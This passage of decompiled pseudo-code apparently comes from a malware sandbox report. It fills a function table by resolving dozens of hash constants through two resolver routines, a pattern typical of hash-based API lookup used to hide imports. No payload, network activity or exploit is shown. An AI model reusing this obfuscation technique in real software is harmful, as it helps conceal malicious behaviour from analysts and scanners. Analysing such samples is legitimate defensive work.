                                                                                                                                                                                                                                                                                                      							_t330 = E00401080(_v8, 0xe9fa5fec);
                                                                                                                                                                                                                                                                                                      							_t528 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t528 + 0x1c)) = _t330;
                                                                                                                                                                                                                                                                                                      							_t331 = E00401080(_v8, 0x918ed998);
                                                                                                                                                                                                                                                                                                      							_t529 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t529 + 0x20)) = _t331;
                                                                                                                                                                                                                                                                                                      							_t332 = E00401080(_v8, 0xabad92e3);
                                                                                                                                                                                                                                                                                                      							_t530 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t530 + 0x24)) = _t332;
                                                                                                                                                                                                                                                                                                      							_t333 = E00401080(_v8, 0xaf11bc24);
                                                                                                                                                                                                                                                                                                      							_t531 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t531 + 0x28)) = _t333;
                                                                                                                                                                                                                                                                                                      							_t334 = E00401080(_v8, 0x8463960a);
                                                                                                                                                                                                                                                                                                      							_t532 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t532 + 0x2c)) = _t334;
                                                                                                                                                                                                                                                                                                      							_t335 = E00401080(_v8, 0xd141afd3);
                                                                                                                                                                                                                                                                                                      							_t533 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t533 + 0x30)) = _t335;
                                                                                                                                                                                                                                                                                                      							_t336 = E00401080(_v8, 0x57f17b6b);
                                                                                                                                                                                                                                                                                                      							_t534 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t534 + 0x34)) = _t336;
                                                                                                                                                                                                                                                                                                      							_t337 = E00401080(_v8, 0xc488ee02);
                                                                                                                                                                                                                                                                                                      							_t535 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t535 + 0x38)) = _t337;
                                                                                                                                                                                                                                                                                                      							_t338 = E00401080(_v8, 0xa7838944);
                                                                                                                                                                                                                                                                                                      							_t536 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t536 + 0x3c)) = _t338;
                                                                                                                                                                                                                                                                                                      							_t339 = E00401080(_v8, 0x9f45283d);
                                                                                                                                                                                                                                                                                                      							_t537 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t537 + 0x40)) = _t339;
                                                                                                                                                                                                                                                                                                      							_t340 = E00401080(_v8, 0x77a7dae5);
                                                                                                                                                                                                                                                                                                      							_t538 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t538 + 0x44)) = _t340;
                                                                                                                                                                                                                                                                                                      							_t341 = E00401080(_v8, 0x2be11d1c);
                                                                                                                                                                                                                                                                                                      							_t539 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t539 + 0x48)) = _t341;
                                                                                                                                                                                                                                                                                                      							_t342 = E00401080(_v8, 0x90025177);
                                                                                                                                                                                                                                                                                                      							_t540 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t540 + 0x4c)) = _t342;
                                                                                                                                                                                                                                                                                                      							_t343 = E00401080(_v8, 0xf775fbc7);
                                                                                                                                                                                                                                                                                                      							_t541 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t541 + 0x50)) = _t343;
                                                                                                                                                                                                                                                                                                      							_t344 = E00401080(_v8, 0xe96d2c1b);
                                                                                                                                                                                                                                                                                                      							_t542 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t542 + 0x54)) = _t344;
                                                                                                                                                                                                                                                                                                      							_t345 = E00401080(_v8, 0x89a2014d);
                                                                                                                                                                                                                                                                                                      							_t543 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t543 + 0x58)) = _t345;
                                                                                                                                                                                                                                                                                                      							_t346 = E00401080(_v8, 0xd8d39f09);
                                                                                                                                                                                                                                                                                                      							_t544 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t544 + 0x5c)) = _t346;
                                                                                                                                                                                                                                                                                                      							_t347 = E00401080(_v8, 0xe26d605a);
                                                                                                                                                                                                                                                                                                      							_t545 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t545 + 0x60)) = _t347;
                                                                                                                                                                                                                                                                                                      							_t348 = E00401080(_v8, 0x5e7088ed);
                                                                                                                                                                                                                                                                                                      							_t546 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t546 + 0x64)) = _t348;
                                                                                                                                                                                                                                                                                                      							_t349 = E00401080(_v8, 0xd6c37a18);
                                                                                                                                                                                                                                                                                                      							_t547 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t547 + 0x68)) = _t349;
                                                                                                                                                                                                                                                                                                      							_t350 = E00401080(_v8, 0x6ab0c8e4);
                                                                                                                                                                                                                                                                                                      							_t548 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t548 + 0x6c)) = _t350;
                                                                                                                                                                                                                                                                                                      							_t351 = E00401080(_v8, 0x26f94a0b);
                                                                                                                                                                                                                                                                                                      							_t549 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t549 + 0x70)) = _t351;
                                                                                                                                                                                                                                                                                                      							_t352 = E00401080(_v8, 0x215eddfb);
                                                                                                                                                                                                                                                                                                      							_t550 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t550 + 0x74)) = _t352;
                                                                                                                                                                                                                                                                                                      							_t353 = E00401080(_v8, 0x2af0409a);
                                                                                                                                                                                                                                                                                                      							_t551 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t551 + 0x78)) = _t353;
                                                                                                                                                                                                                                                                                                      							_t354 = E00401080(_v8, 0xa0a76acb);
                                                                                                                                                                                                                                                                                                      							_t552 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t552 + 0x7c)) = _t354;
                                                                                                                                                                                                                                                                                                      							_t355 = E00401080(_v8, 0x3e569f5);
                                                                                                                                                                                                                                                                                                      							_t553 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t553 + 0x80)) = _t355;
                                                                                                                                                                                                                                                                                                      							_t356 = E00401080(_v8, 0x519bed2b);
                                                                                                                                                                                                                                                                                                      							_t554 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t554 + 0x84)) = _t356;
                                                                                                                                                                                                                                                                                                      							_t357 = E00401080(_v8, 0x6b74c325);
                                                                                                                                                                                                                                                                                                      							_t555 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t555 + 0x88)) = _t357;
                                                                                                                                                                                                                                                                                                      							_t358 = E00401080(_v8, 0x52d21a21);
                                                                                                                                                                                                                                                                                                      							_t556 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t556 + 0x8c)) = _t358;
                                                                                                                                                                                                                                                                                                      							_t359 = E00401080(_v8, 0x3185e3a);
                                                                                                                                                                                                                                                                                                      							_t557 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t557 + 0x90)) = _t359;
                                                                                                                                                                                                                                                                                                      							_t360 = E00401080(_v8, 0x46567e);
                                                                                                                                                                                                                                                                                                      							_t558 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t558 + 0x94)) = _t360;
                                                                                                                                                                                                                                                                                                      							_t361 = E00401080(_v8, 0xcfb4ee17);
                                                                                                                                                                                                                                                                                                      							_t559 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t559 + 0x98)) = _t361;
                                                                                                                                                                                                                                                                                                      							_t362 = E00401080(_v8, 0xa5c2991b);
                                                                                                                                                                                                                                                                                                      							_t560 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t560 + 0x9c)) = _t362;
                                                                                                                                                                                                                                                                                                      							_t363 = E00401080(_v8, 0x97d4eb02);
                                                                                                                                                                                                                                                                                                      							_t561 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t561 + 0xa0)) = _t363;
                                                                                                                                                                                                                                                                                                      							_t364 = E00401080(_v8, 0x7714fa20);
                                                                                                                                                                                                                                                                                                      							_t562 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t562 + 0xa4)) = _t364;
                                                                                                                                                                                                                                                                                                      							_t365 = E00401080(_v8, 0x301bf0);
                                                                                                                                                                                                                                                                                                      							_t563 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t563 + 0xa8)) = _t365;
                                                                                                                                                                                                                                                                                                      							_t366 = E00401080(_v8, 0xc8277bf4);
                                                                                                                                                                                                                                                                                                      							_t564 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t564 + 0xac)) = _t366;
                                                                                                                                                                                                                                                                                                      							_t367 = E00401080(_v8, 0xb0ebd9c2);
                                                                                                                                                                                                                                                                                                      							_t565 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t565 + 0xb0)) = _t367;
                                                                                                                                                                                                                                                                                                      							_t368 = E00401080(_v8, 0x5418dca4);
                                                                                                                                                                                                                                                                                                      							_t566 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t566 + 0xb4)) = _t368;
                                                                                                                                                                                                                                                                                                      							_t369 = E00401080(_v8, 0xa81a7cd4);
                                                                                                                                                                                                                                                                                                      							_t567 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t567 + 0xb8)) = _t369;
                                                                                                                                                                                                                                                                                                      							_t370 = E00401080(_v8, 0xb679c176);
                                                                                                                                                                                                                                                                                                      							_t568 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t568 + 0xbc)) = _t370;
                                                                                                                                                                                                                                                                                                      							_t371 = E00401080(_v8, 0xcfe3e811);
                                                                                                                                                                                                                                                                                                      							_t569 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t569 + 0xc0)) = _t371;
                                                                                                                                                                                                                                                                                                      							_t372 = E00401080(_v8, 0xb5000c52);
                                                                                                                                                                                                                                                                                                      							_t570 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t570 + 0xc4)) = _t372;
                                                                                                                                                                                                                                                                                                      							_t373 = E00401080(_v8, 0x6967772d);
                                                                                                                                                                                                                                                                                                      							_t571 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t571 + 0xc8)) = _t373;
                                                                                                                                                                                                                                                                                                      							_t374 = E00401080(_v8, 0x783d88df);
                                                                                                                                                                                                                                                                                                      							_t572 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t572 + 0xcc)) = _t374;
                                                                                                                                                                                                                                                                                                      							_t375 = E00401080(_v8, 0x6f97ba62);
                                                                                                                                                                                                                                                                                                      							_t573 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t573 + 0xd0)) = _t375;
                                                                                                                                                                                                                                                                                                      							_t376 = E00401080(_v8, 0xcc7d438d);
                                                                                                                                                                                                                                                                                                      							_t574 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t574 + 0xd4)) = _t376;
                                                                                                                                                                                                                                                                                                      							_t377 = E00401080(_v8, 0x2c919477);
                                                                                                                                                                                                                                                                                                      							_t575 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t575 + 0xd8)) = _t377;
                                                                                                                                                                                                                                                                                                      							_t378 = E00401080(_v8, 0xd287ee26);
                                                                                                                                                                                                                                                                                                      							_t576 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t576 + 0xdc)) = _t378;
                                                                                                                                                                                                                                                                                                      							_t379 = E00401080(_v8, 0x9d35f923);
                                                                                                                                                                                                                                                                                                      							_t577 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t577 + 0xe0)) = _t379;
                                                                                                                                                                                                                                                                                                      							_t380 = E00401080(_v8, 0xcbf210e5);
                                                                                                                                                                                                                                                                                                      							_t578 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t578 + 0xe4)) = _t380;
                                                                                                                                                                                                                                                                                                      							_t381 = E00401080(_v8, 0x324d9a29);
                                                                                                                                                                                                                                                                                                      							_t579 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t579 + 0xe8)) = _t381;
                                                                                                                                                                                                                                                                                                      							_t382 = E00401080(_v8, 0xd2fe73b5);
                                                                                                                                                                                                                                                                                                      							_t580 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t580 + 0xec)) = _t382;
                                                                                                                                                                                                                                                                                                      							_t383 = E00401080(_v8, 0xbb79c95a);
                                                                                                                                                                                                                                                                                                      							_t581 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t581 + 0xf0)) = _t383;
                                                                                                                                                                                                                                                                                                      							_t384 = E00401080(_v8, 0xd93603c8);
                                                                                                                                                                                                                                                                                                      							_t582 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t582 + 0xf4)) = _t384;
                                                                                                                                                                                                                                                                                                      							_t385 = E00401080(_v8, 0x7e222a34);
                                                                                                                                                                                                                                                                                                      							_t583 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t583 + 0xf8)) = _t385;
                                                                                                                                                                                                                                                                                                      							_t386 = E00401080(_v8, 0xa76f9b64);
                                                                                                                                                                                                                                                                                                      							_t584 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t584 + 0xfc)) = _t386;
                                                                                                                                                                                                                                                                                                      							_t387 = E00401080(_v8, 0xe7c5afe3);
                                                                                                                                                                                                                                                                                                      							_t585 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t585 + 0x100)) = _t387;
                                                                                                                                                                                                                                                                                                      							_t388 = E00401080(_v8, 0xa646b782);
                                                                                                                                                                                                                                                                                                      							_t586 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t586 + 0x104)) = _t388;
                                                                                                                                                                                                                                                                                                      							_t389 = E00401080(_v8, 0x52a02912);
                                                                                                                                                                                                                                                                                                      							_t587 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t587 + 0x108)) = _t389;
                                                                                                                                                                                                                                                                                                      							_t390 = E00401080(_v8, 0x194b0653);
                                                                                                                                                                                                                                                                                                      							_t588 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t588 + 0x10c)) = _t390;
                                                                                                                                                                                                                                                                                                      							_t391 = E00401080(_v8, 0x7d8f0227);
                                                                                                                                                                                                                                                                                                      							_t589 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t589 + 0x110)) = _t391;
                                                                                                                                                                                                                                                                                                      							_t392 = E00401080(_v8, 0x994c81ab);
                                                                                                                                                                                                                                                                                                      							_t590 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t590 + 0x114)) = _t392;
                                                                                                                                                                                                                                                                                                      							_t393 = E00401080(_v8, 0x2c09d0ca);
                                                                                                                                                                                                                                                                                                      							_t591 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t591 + 0x118)) = _t393;
                                                                                                                                                                                                                                                                                                      							_t394 = E00401080(_v8, 0xbd6735c3);
                                                                                                                                                                                                                                                                                                      							_t592 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t592 + 0x11c)) = _t394;
                                                                                                                                                                                                                                                                                                      							_t395 = E00401080(_v8, 0xc4c3ac97);
                                                                                                                                                                                                                                                                                                      							_t593 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t593 + 0x120)) = _t395;
                                                                                                                                                                                                                                                                                                      							_t396 = E00401080(_v8, 0x900f6a6e);
                                                                                                                                                                                                                                                                                                      							_t594 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t594 + 0x124)) = _t396;
                                                                                                                                                                                                                                                                                                      							_t397 = E00401080(_v8, 0xe9abf33a);
                                                                                                                                                                                                                                                                                                      							_t595 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t595 + 0x128)) = _t397;
                                                                                                                                                                                                                                                                                                      							_t398 = E00401080(_v8, 0x4c8a5b22);
                                                                                                                                                                                                                                                                                                      							_t596 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t596 + 0x12c)) = _t398;
                                                                                                                                                                                                                                                                                                      							_t399 = E00401080(_v8, 0x133f9317);
                                                                                                                                                                                                                                                                                                      							_t597 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t597 + 0x130)) = _t399;
                                                                                                                                                                                                                                                                                                      							_t400 = E00401080(_v8, 0x61e2048f);
                                                                                                                                                                                                                                                                                                      							_t598 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t598 + 0x134)) = _t400;
                                                                                                                                                                                                                                                                                                      							_t401 = E00401080(_v8, 0x3e57ccba);
                                                                                                                                                                                                                                                                                                      							_t599 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t599 + 0x138)) = _t401;
                                                                                                                                                                                                                                                                                                      							_t402 = E00401080(_v8, 0x3bd7e17b);
                                                                                                                                                                                                                                                                                                      							_t600 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t600 + 0x13c)) = _t402;
                                                                                                                                                                                                                                                                                                      							_t403 = E00401080(_v8, 0x4273782f);
                                                                                                                                                                                                                                                                                                      							_t601 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t601 + 0x140)) = _t403;
                                                                                                                                                                                                                                                                                                      							_t404 = E00401080(_v8, 0xca3a8f9a);
                                                                                                                                                                                                                                                                                                      							_t602 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t602 + 0x144)) = _t404;
                                                                                                                                                                                                                                                                                                      							_t405 = E00401080(_v8, 0x958f47af);
                                                                                                                                                                                                                                                                                                      							_t603 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t603 + 0x148)) = _t405;
                                                                                                                                                                                                                                                                                                      							_t406 = E00401080(_v8, 0x23398d9a);
                                                                                                                                                                                                                                                                                                      							_t604 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t604 + 0x14c)) = _t406;
                                                                                                                                                                                                                                                                                                      							_t407 = E00401080(_v8, 0xde73fed);
                                                                                                                                                                                                                                                                                                      							_t605 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t605 + 0x150)) = _t407;
                                                                                                                                                                                                                                                                                                      							_t408 = E00401080(_v8, 0xbd2f3f6d); // executed
                                                                                                                                                                                                                                                                                                      							_t606 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t606 + 0x154)) = _t408;
                                                                                                                                                                                                                                                                                                      							_t409 = E00401080(_v8, 0x4a5a980c);
                                                                                                                                                                                                                                                                                                      							_t607 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t607 + 0x158)) = _t409;
                                                                                                                                                                                                                                                                                                      							_t410 = E00401080(_v8, 0x7aa7b69b);
                                                                                                                                                                                                                                                                                                      							_t608 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t608 + 0x15c)) = _t410;
                                                                                                                                                                                                                                                                                                      							_t411 = E00401080(_v8, 0x4491b126);
                                                                                                                                                                                                                                                                                                      							_t609 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t609 + 0x160)) = _t411;
                                                                                                                                                                                                                                                                                                      							_t412 = E00401080(_v8, 0x27ae6b27);
                                                                                                                                                                                                                                                                                                      							_t610 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t610 + 0x164)) = _t412;
                                                                                                                                                                                                                                                                                                      							_t413 = E00401080(_v8, 0x58016551);
                                                                                                                                                                                                                                                                                                      							_t611 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t611 + 0x168)) = _t413;
                                                                                                                                                                                                                                                                                                      							_t414 = E00401080(_v8, 0x43681ce6);
                                                                                                                                                                                                                                                                                                      							_t612 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t612 + 0x16c)) = _t414;
                                                                                                                                                                                                                                                                                                      							_t415 = E00401080(_v8, 0x5368361b);
                                                                                                                                                                                                                                                                                                      							_t613 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t613 + 0x170)) = _t415;
                                                                                                                                                                                                                                                                                                      							_t416 = E00401080(_v8, 0xe18f635a);
                                                                                                                                                                                                                                                                                                      							_t614 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t614 + 0x174)) = _t416;
                                                                                                                                                                                                                                                                                                      							_t417 = E00401080(_v8, 0x50cfba45);
                                                                                                                                                                                                                                                                                                      							_t615 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t615 + 0x178)) = _t417;
                                                                                                                                                                                                                                                                                                      							_t418 = E00401080(_v8, 0x9bfff5d2);
                                                                                                                                                                                                                                                                                                      							_t616 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t616 + 0x17c)) = _t418;
                                                                                                                                                                                                                                                                                                      							_t419 = E00401080(_v8, 0x52fe26d8);
                                                                                                                                                                                                                                                                                                      							_t617 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t617 + 0x180)) = _t419;
                                                                                                                                                                                                                                                                                                      							_t420 = E00401080(_v8, 0xcbf9a7e9);
                                                                                                                                                                                                                                                                                                      							_t618 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t618 + 0x184)) = _t420;
                                                                                                                                                                                                                                                                                                      							_t421 = E00401080(_v8, 0xbaab0208);
                                                                                                                                                                                                                                                                                                      							_t619 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t619 + 0x188)) = _t421;
                                                                                                                                                                                                                                                                                                      							_t422 = E00401080(_v8, 0xfed80136);
                                                                                                                                                                                                                                                                                                      							_t620 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t620 + 0x18c)) = _t422;
                                                                                                                                                                                                                                                                                                      							_t423 = E00401080(_v8, 0x8d76f9a4);
                                                                                                                                                                                                                                                                                                      							_t621 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t621 + 0x190)) = _t423;
                                                                                                                                                                                                                                                                                                      							_t424 = E00401080(_v8, 0x6023e15c);
                                                                                                                                                                                                                                                                                                      							_t622 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t622 + 0x194)) = _t424;
                                                                                                                                                                                                                                                                                                      							_t425 = E00401080(_v8, 0x58ff5064);
                                                                                                                                                                                                                                                                                                      							_t623 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t623 + 0x198)) = _t425;
                                                                                                                                                                                                                                                                                                      							_t426 = E00401080(_v8, 0x9ff81f51);
                                                                                                                                                                                                                                                                                                      							_t624 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t624 + 0x19c)) = _t426;
                                                                                                                                                                                                                                                                                                      							_t427 = E00401080(_v8, 0x77858e5f);
                                                                                                                                                                                                                                                                                                      							_t625 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t625 + 0x1a0)) = _t427;
                                                                                                                                                                                                                                                                                                      							_t428 = E00401080(_v8, 0x73210360);
                                                                                                                                                                                                                                                                                                      							_t626 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t626 + 0x1a4)) = _t428;
                                                                                                                                                                                                                                                                                                      							_t429 = E00401080(_v8, 0x29a054e4);
                                                                                                                                                                                                                                                                                                      							_t627 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t627 + 0x1a8)) = _t429;
                                                                                                                                                                                                                                                                                                      							_t430 = E00401080(_v8, 0x7ef4bae5);
                                                                                                                                                                                                                                                                                                      							_t628 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t628 + 0x1ac)) = _t430;
                                                                                                                                                                                                                                                                                                      							_t431 = E00401080(_v8, 0x9ab4737e);
                                                                                                                                                                                                                                                                                                      							_t629 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t629 + 0x1b0)) = _t431;
                                                                                                                                                                                                                                                                                                      							_t432 = E00401200(0, 1, 0x5b4219f8);
                                                                                                                                                                                                                                                                                                      							_t781 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t781 + 0x1b4)) = _t432;
                                                                                                                                                                                                                                                                                                      							_t433 = E00401200(0, 1, 0x7536a662);
                                                                                                                                                                                                                                                                                                      							_t630 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t630 + 0x1b8)) = _t433;
                                                                                                                                                                                                                                                                                                      							_t434 = E00401200(0, 1, 0x2b0b47a5);
                                                                                                                                                                                                                                                                                                      							_t782 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t782 + 0x1bc)) = _t434;
                                                                                                                                                                                                                                                                                                      							_t435 = E00401200(0, 1, 0x48fea11e);
                                                                                                                                                                                                                                                                                                      							_t631 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t631 + 0x1c0)) = _t435;
                                                                                                                                                                                                                                                                                                      							_t436 = E00401200(0, 1, 0xa1efe929);
                                                                                                                                                                                                                                                                                                      							_t783 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t783 + 0x1c4)) = _t436;
                                                                                                                                                                                                                                                                                                      							_t437 = E00401200(0, 1, 0x95c03d0);
                                                                                                                                                                                                                                                                                                      							_t632 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t632 + 0x1c8)) = _t437;
                                                                                                                                                                                                                                                                                                      							_t438 = E00401200(0, 1, 0xcce95612);
                                                                                                                                                                                                                                                                                                      							_t784 =  *0x42fc04; // 0x36d0000
                                                                                                                                                                                                                                                                                                      							 *((intOrPtr*)(_t784 + 0x1cc)) = _t438;
                                                                                                                                                                                                                                                                                                      							_t439 = E00401200(0, 1, 0xfa3d2f88);
